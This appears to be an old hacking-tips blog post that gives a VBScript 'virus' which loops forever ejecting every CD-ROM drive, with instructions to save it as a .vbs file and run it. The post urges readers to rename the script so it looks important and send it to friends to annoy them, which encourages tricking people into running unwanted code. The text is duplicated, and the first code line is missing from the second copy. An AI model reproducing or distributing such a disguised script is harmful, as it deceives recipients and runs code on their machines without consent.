A Self-Made Virus That Will Open And Close Your Cdrom HackZ
Author: nspanspa // Category: Internet, PC Tips And Hacks, Solution For Computer Problem
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If
copy this into notepad and save it as anyname.vbs like virus.vbs
and then double click on it...what u see....bingo
Now if u want to disable this go to task manager click on process
then find wscript.exe and end this process.
Rename it,so that it looks something important and then send it to all your friends to annoy them.
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If
copy this into notepad and save it as anyname.vbs like virus.vbs
and then double click on it...what u see....bingo
Now if u want to disable this go to task manager click on process
then find wscript.exe and end this process.
Rename it,so that it looks something important and then send it to all your friends to annoy them.